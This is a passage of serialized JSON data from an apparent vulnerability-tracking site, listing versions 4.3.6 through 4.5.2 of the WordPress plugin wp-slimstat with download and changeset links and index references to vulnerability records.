"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3676,"download_url":3677,"svn_tag_url":3678,"released_at":39,"has_diff":54,"diff_files_changed":3679,"diff_lines":39,"trac_diff_url":3680,"vulnerabilities":3681,"is_current":54},"4.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.5.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.5.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.5.1&new_path=%2Fwp-slimstat%2Ftags%2F4.5.2",[3682,3683,3684,3685,3686,3687,3688,3689,3690,3691,3692,3693,3694,3695,3696,3697,3698,3699,3700,3701],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3703,"download_url":3704,"svn_tag_url":3705,"released_at":39,"has_diff":54,"diff_files_changed":3706,"diff_lines":39,"trac_diff_url":3707,"vulnerabilities":3708,"is_current":54},"4.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.5.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.5.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.5&new_path=%2Fwp-slimstat%2Ftags%2F4.5.1",[3709,3710,3711,3712,3713,3714,3715,3716,3717,3718,3719,3720,3721,3722,3723,3724,3725,3726,3727,3728],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3730,"download_url":3731,"svn_tag_url":3732,"released_at":39,"has_diff":54,"diff_files_changed":3733,"diff_lines":39,"trac_diff_url":3734,"vulnerabilities":3735,"is_current":54},"4.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.4.5&new_path=%2Fwp-slimstat%2Ftags%2F4.5",[3736,3737,3738,3739,3740,3741,3742,3743,3744,3745,3746,3747,3748,3749,3750,3751,3752,3753,3754,3755],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3757,"download_url":3758,"svn_tag_url":3759,"released_at":39,"has_diff":54,"diff_files_changed":3760,"diff_lines":39,"trac_diff_url":3761,"vulnerabilities":3762,"is_current":54},"4.4.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.4.5.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.4.5\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.4.4&new_path=%2Fwp-slimstat%2Ftags%2F4.4.5",[3763,3764,3765,3766,3767,3768,3769,3770,3771,3772,3773,3774,3775,3776,3777,3778,3779,3780,3781,3782],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3784,"download_url":3785,"svn_tag_url":3786,"released_at":39,"has_diff":54,"diff_files_changed":3787,"diff_lines":39,"trac_diff_url":3788,"vulnerabilities":3789,"is_current":54},"4.4.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.4.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.4.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.4.3&new_path=%2Fwp-slimstat%2Ftags%2F4.4.4",[3790,3791,3792,3793,3794,3795,3796,3797,3798,3799,3800,3801,3802,3803,3804,3805,3806,3807,3808,3809],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3811,"download_url":3812,"svn_tag_url":3813,"released_at":39,"has_diff":54,"diff_files_changed":3814,"diff_lines":39,"trac_diff_url":3815,"vulnerabilities":3816,"is_current":54},"4.4.3","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.4.3.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.4.3\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.4.2&new_path=%2Fwp-slimstat%2Ftags%2F4.4.3",[3817,3818,3819,3820,3821,3822,3823,3824,3825,3826,3827,3828,3829,3830,3831,3832,3833,3834,3835,3836],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3838,"download_url":3839,"svn_tag_url":3840,"released_at":39,"has_diff":54,"diff_files_changed":3841,"diff_lines":39,"trac_diff_url":3842,"vulnerabilities":3843,"is_current":54},"4.4.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.4.2.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.4.2\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.4.1&new_path=%2Fwp-slimstat%2Ftags%2F4.4.2",[3844,3845,3846,3847,3848,3849,3850,3851,3852,3853,3854,3855,3856,3857,3858,3859,3860,3861,3862,3863],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3865,"download_url":3866,"svn_tag_url":3867,"released_at":39,"has_diff":54,"diff_files_changed":3868,"diff_lines":39,"trac_diff_url":3869,"vulnerabilities":3870,"is_current":54},"4.4.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.4.1.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.4.1\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.4&new_path=%2Fwp-slimstat%2Ftags%2F4.4.1",[3871,3872,3873,3874,3875,3876,3877,3878,3879,3880,3881,3882,3883,3884,3885,3886,3887,3888,3889,3890],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3892,"download_url":3893,"svn_tag_url":3894,"released_at":39,"has_diff":54,"diff_files_changed":3895,"diff_lines":39,"trac_diff_url":3896,"vulnerabilities":3897,"is_current":54},"4.4","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.4.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.4\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.7&new_path=%2Fwp-slimstat%2Ftags%2F4.4",[3898,3899,3900,3901,3902,3903,3904,3905,3906,3907,3908,3909,3910,3911,3912,3913,3914,3915,3916,3917],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3919,"download_url":3920,"svn_tag_url":3921,"released_at":39,"has_diff":54,"diff_files_changed":3922,"diff_lines":39,"trac_diff_url":3923,"vulnerabilities":3924,"is_current":54},"4.3.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.7.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.7\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.6&new_path=%2Fwp-slimstat%2Ftags%2F4.3.7",[3925,3926,3927,3928,3929,3930,3931,3932,3933,3934,3935,3936,3937,3938,3939,3940,3941,3942,3943,3944],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":198},{"id":245,"url_slug":246,"title":247,"severity":42,"cvss_score":43,"vuln_type":73,"patched_in_version":250},{"id":155,"url_slug":156,"title":157,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":96},{"id":326,"url_slug":327,"title":328,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":331},{"id":64,"url_slug":65,"title":66,"severity":70,"cvss_score":71,"vuln_type":73,"patched_in_version":69},{"id":258,"url_slug":259,"title":260,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":250},{"id":118,"url_slug":119,"title":120,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":123},{"id":302,"url_slug":303,"title":304,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":295},{"id":266,"url_slug":267,"title":268,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":271},{"id":137,"url_slug":138,"title":139,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":142},{"id":232,"url_slug":233,"title":234,"severity":70,"cvss_score":238,"vuln_type":240,"patched_in_version":237},{"id":35,"url_slug":36,"title":37,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":41},{"id":312,"url_slug":313,"title":314,"severity":42,"cvss_score":199,"vuln_type":319,"patched_in_version":317},{"id":166,"url_slug":167,"title":168,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":171},{"id":278,"url_slug":279,"title":280,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":283},{"version":3946,"download_url":3947,"svn_tag_url":3948,"released_at":39,"has_diff":54,"diff_files_changed":3949,"diff_lines":39,"trac_diff_url":3950,"vulnerabilities":3951,"is_current":54},"4.3.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fwp-slimstat.4.3.6.zip","https:\u002F\u002Fplugins.svn.wordpress.org\u002Fwp-slimstat\u002Ftags\u002F4.3.6\u002F",[],"https:\u002F\u002Fplugins.trac.wordpress.org\u002Fchangeset?old_path=%2Fwp-slimstat%2Ftags%2F4.3.5&new_path=%2Fwp-slimstat%2Ftags%2F4.3.6",[3952,3953,3954,3955,3956,3957,3958,3959,3960,3961,3962,3963,3964,3965,3966,3967,3968,3969,3970,3971],{"id":193,"url_slug":194,"title":195,"severity":42,"cvss_score":199,"vuln_type":73,"patched_in_version":198},{"id":290,"url_slug":291,"title":292,"severity":42,"cvss_score":43,"vuln_type":45,"patched_in_version":295},{"id":91,"url_slug":92,"title":93,"severity":70,"cvss_score":97,"vuln_type":45,"patched_in_version":96},{"id":178,"url_slug":179,"title":180,"severity":70,"cvss_score":184,"vuln_type":45,"patched_in_version":183},{"id":218,"url_slug":219,"title":220,"severity":70,"cvss_score":224,"vuln_type":45,"patched_in_version":223},{"id":208,"url_slug":209,"title":210,"severity":70,"cvss_score":184,"vuln_type":45,"